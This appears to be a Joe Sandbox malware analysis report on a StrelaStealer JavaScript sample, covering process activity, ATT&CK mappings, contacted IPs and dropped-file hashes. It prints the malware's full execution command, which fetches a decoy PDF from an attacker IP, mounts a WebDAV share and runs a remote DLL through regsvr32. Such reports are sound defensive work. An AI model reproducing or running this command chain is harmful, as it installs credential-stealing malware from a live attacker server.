Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3129912127106722813.js	8%	Virustotal		Browse
3129912127106722813.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pacewz	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/A	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2979360104.00000161FCA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1747697059.00000161FCCC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/P	net.exe, 00000006.00000002.1750784686.0000024F32228000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1750893496.0000024F32262000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750893496.0000024F3227E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750784686.0000024F32228000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1746240373.0000024F3227C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1748089399.0000024F32262000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/A	net.exe, 00000006.00000002.1750893496.0000024F32262000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1748089399.0000024F32262000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1747697059.00000161FCCC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/pacewz	net.exe, 00000006.00000002.1750784686.0000024F32228000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589000
Start date and time:	2025-01-11 08:13:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3129912127106722813.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 20.12.23.50, 23.41.168.139, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:14:34	API Interceptor	21x Sleep call for process: powershell.exe modified
02:14:38	API Interceptor	1x Sleep call for process: net.exe modified
02:14:38	API Interceptor	2x Sleep call for process: svchost.exe modified
02:14:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	11411287862891124151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3644547571625413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	894623912226711207.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073613280511933
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrZ:KooCEYhgYEL0In
MD5:	0936CC3E9A9B1D2F66981B8F32A71D96
SHA1:	A909DAB57BD93B2ACC526D6F9EC5261FC0F3C53D
SHA-256:	819691AABB8DA993A69045605A5013E78D8BBD7035BBAA8E6DFD15804AE624B2
SHA-512:	C197278EB2225DDE0B71C36D1ED01263BAF4B2734736583BA3561EB92C96DF7F4D75B0AD64CA5FDED3363D23A4AD9C544BDFB082BF11346047118E96182D05D3
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xaec1aab6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221813267748686
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	1C5E43A3E14177ED4E05AB80988B0E57
SHA1:	A33C47EFD5BF75AE151A9FF62241254A7DCFFF54
SHA-256:	1DD95BA051AF0C999E7CC72C40B88B07C09230D76903E07A0E0A3AA4FC140E44
SHA-512:	7413F8C9BFC277A13A6715D0813CEB748993E5F655EBF91544C8A42CB7F5666A102385A1D03A85968A1E0B3506163D33768BB4F3FC3B4E1D339D13F8974A33B4
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A.&....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................C&....}..................)..&....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07689182371624734
Encrypted:	false
SSDEEP:	3:N/yYe0NYGjjn13a//uUtlallcVO/lnlZMxZNQl:szSYGj53qmcAOewk
MD5:	C38391786FD26A2C9D4E40CDC6B19642
SHA1:	3AAB5B77CAE6A9191584DF604084420F37CB0B0B
SHA-256:	F5C57CD34688B5B9403FFD640E07F5E9FC021DB393196DDA742D596A2A42849B
SHA-512:	30098D6FF5CBD51B71B82A57AC968437F4A715BED696488E66B081ABA88E44D65BE0DC08EE2B8571155F8D6716CB07BD14F53DF9FD2F4E53B93B273ADB78149C
Malicious:	false
Preview:	..1......................................;...{..&....}.......{A..............{A......{A..........{A]................)..&....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.215098502417384
Encrypted:	false
SSDEEP:	6:iOjDQyq2Pwkn2nKuAl9OmbnIFUtXG1ZmwjQRkwOwkn2nKuAl9OmbjLJ:7jDQyvYfHAahFUtXg/jQR5JfHAaSJ
MD5:	5ADCCD7434D5B11887785F420B7CE7C3
SHA1:	CE633851859E6E8010EB3AF2772D4B43B71667DB
SHA-256:	9AB7F868CA281F85DD5176370583F3155B18647E36E6034B3C1C3C265FCA1BC4
SHA-512:	A48C39BEF6E4C00FF7F86238B5EFAC0C31A02D6F34C45795185C09C6CCF2E1C8622334DC0A0F9238CE0E69F6923F9F3416F299CD28FE9935C96C6A2F31D587BD
Malicious:	false
Preview:	2025/01/11-02:14:38.369 1f90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:14:38.389 1f90 Recovering log #3.2025/01/11-02:14:38.390 1f90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.215098502417384
Encrypted:	false
SSDEEP:	6:iOjDQyq2Pwkn2nKuAl9OmbnIFUtXG1ZmwjQRkwOwkn2nKuAl9OmbjLJ:7jDQyvYfHAahFUtXg/jQR5JfHAaSJ
MD5:	5ADCCD7434D5B11887785F420B7CE7C3
SHA1:	CE633851859E6E8010EB3AF2772D4B43B71667DB
SHA-256:	9AB7F868CA281F85DD5176370583F3155B18647E36E6034B3C1C3C265FCA1BC4
SHA-512:	A48C39BEF6E4C00FF7F86238B5EFAC0C31A02D6F34C45795185C09C6CCF2E1C8622334DC0A0F9238CE0E69F6923F9F3416F299CD28FE9935C96C6A2F31D587BD
Malicious:	false
Preview:	2025/01/11-02:14:38.369 1f90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:14:38.389 1f90 Recovering log #3.2025/01/11-02:14:38.390 1f90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.199435886753381
Encrypted:	false
SSDEEP:	6:iOHSQ+q2Pwkn2nKuAl9Ombzo2jMGIFUt5/gZmwD/QVkwOwkn2nKuAl9Ombzo2jM4:7HSVvYfHAa8uFUt5/g/D/I5JfHAa8RJ
MD5:	91B0B1316CE69C54B3B91518781C706D
SHA1:	7D523FFDC2B3B980ADD49F2E90DAD7753EB4851D
SHA-256:	FF74CCF89F4BDD6E06B3455FE88CDF291D77D16DBDD49DC8092E560391196C90
SHA-512:	D77A3F6AFF70A816CF17AF5BD995693186122B370E0F586B7B4C3F3675D763523EF69B557F215B08142DB83F70E5E6DECA32C560255DC5FE2577B289AA6EC006
Malicious:	false
Preview:	2025/01/11-02:14:38.481 1658 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:14:38.484 1658 Recovering log #3.2025/01/11-02:14:38.484 1658 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.199435886753381
Encrypted:	false
SSDEEP:	6:iOHSQ+q2Pwkn2nKuAl9Ombzo2jMGIFUt5/gZmwD/QVkwOwkn2nKuAl9Ombzo2jM4:7HSVvYfHAa8uFUt5/g/D/I5JfHAa8RJ
MD5:	91B0B1316CE69C54B3B91518781C706D
SHA1:	7D523FFDC2B3B980ADD49F2E90DAD7753EB4851D
SHA-256:	FF74CCF89F4BDD6E06B3455FE88CDF291D77D16DBDD49DC8092E560391196C90
SHA-512:	D77A3F6AFF70A816CF17AF5BD995693186122B370E0F586B7B4C3F3675D763523EF69B557F215B08142DB83F70E5E6DECA32C560255DC5FE2577B289AA6EC006
Malicious:	false
Preview:	2025/01/11-02:14:38.481 1658 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:14:38.484 1658 Recovering log #3.2025/01/11-02:14:38.484 1658 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964225384192788
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqB3PsBdOg2Hvcaq3QYiubInP7E4T3y:Y2sRdsEAdMHe3QYhbG7nby
MD5:	05265EB3D1C5D865D6D562C377ECD3C4
SHA1:	2483F2DD6C5DE35CA54430DB505DE4574EDB20D7
SHA-256:	194D0E9128C6C0722B2F65B001329EAAE53DEAB45161C2B25842B21BE580BE19
SHA-512:	FD91DF11BA56635C7A6099B88A4226C81A3612380A8300BBFDDD80529F7FC473786DD78AE6EF17FB805C5BB18751C7C42681F05B5E093FD1DB6B44AE5BB45146
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139690832688","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":145605},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ab95dbd8-12b2-401f-adc0-1ce84bbc7b5a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964225384192788
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqB3PsBdOg2Hvcaq3QYiubInP7E4T3y:Y2sRdsEAdMHe3QYhbG7nby
MD5:	05265EB3D1C5D865D6D562C377ECD3C4
SHA1:	2483F2DD6C5DE35CA54430DB505DE4574EDB20D7
SHA-256:	194D0E9128C6C0722B2F65B001329EAAE53DEAB45161C2B25842B21BE580BE19
SHA-512:	FD91DF11BA56635C7A6099B88A4226C81A3612380A8300BBFDDD80529F7FC473786DD78AE6EF17FB805C5BB18751C7C42681F05B5E093FD1DB6B44AE5BB45146
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139690832688","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":145605},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.258259572146088
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7J3gx:etJCV4FiN/jTN/2r8Mta02fEhgO73goe
MD5:	02AA693C74170A8EFCCA9E9DCF611F80
SHA1:	F35331A4E61F727FC6929A75EF7881B30CC728D0
SHA-256:	7492AEC6FF9E31B12CBC9C5AF5988C4C3973BBAF5BB79A003560FA1453876702
SHA-512:	3CC8F0CA6E55CFEA7EB58BDD2842E382BE198127247FA31D6FD50AF7C867B670BC7485916281D600551E2EA6DAC375B6C38DE28246B9B425E8908431D78F9F67
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2176116289147885
Encrypted:	false
SSDEEP:	6:iOf/Q+q2Pwkn2nKuAl9OmbzNMxIFUtGgZmw68QVkwOwkn2nKuAl9OmbzNMFLJ:7HVvYfHAa8jFUtGg/nI5JfHAa84J
MD5:	2DBFB203FAA5D509118C7B3071ABF66F
SHA1:	83090C9B89C956B07920D175AF75665DBE6EA375
SHA-256:	8ACD609CD300D5096CCC8FC5C50FC16D39A915F05FD43B0940790556A4AA4C0A
SHA-512:	E786FD5A855E6610A565B297E621AFE44396E74433BC42D0ED929D29AF3088A873827E4DE7ED852B5B14520A355C8D8988EEA69097CA3F8EA87389B135A2698A
Malicious:	false
Preview:	2025/01/11-02:14:38.707 1658 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:14:38.722 1658 Recovering log #3.2025/01/11-02:14:38.732 1658 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2176116289147885
Encrypted:	false
SSDEEP:	6:iOf/Q+q2Pwkn2nKuAl9OmbzNMxIFUtGgZmw68QVkwOwkn2nKuAl9OmbzNMFLJ:7HVvYfHAa8jFUtGg/nI5JfHAa84J
MD5:	2DBFB203FAA5D509118C7B3071ABF66F
SHA1:	83090C9B89C956B07920D175AF75665DBE6EA375
SHA-256:	8ACD609CD300D5096CCC8FC5C50FC16D39A915F05FD43B0940790556A4AA4C0A
SHA-512:	E786FD5A855E6610A565B297E621AFE44396E74433BC42D0ED929D29AF3088A873827E4DE7ED852B5B14520A355C8D8988EEA69097CA3F8EA87389B135A2698A
Malicious:	false
Preview:	2025/01/11-02:14:38.707 1658 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:14:38.722 1658 Recovering log #3.2025/01/11-02:14:38.732 1658 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444737469157001
Encrypted:	false
SSDEEP:	384:yezci5teiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rxs3OazzU89UTTgUL
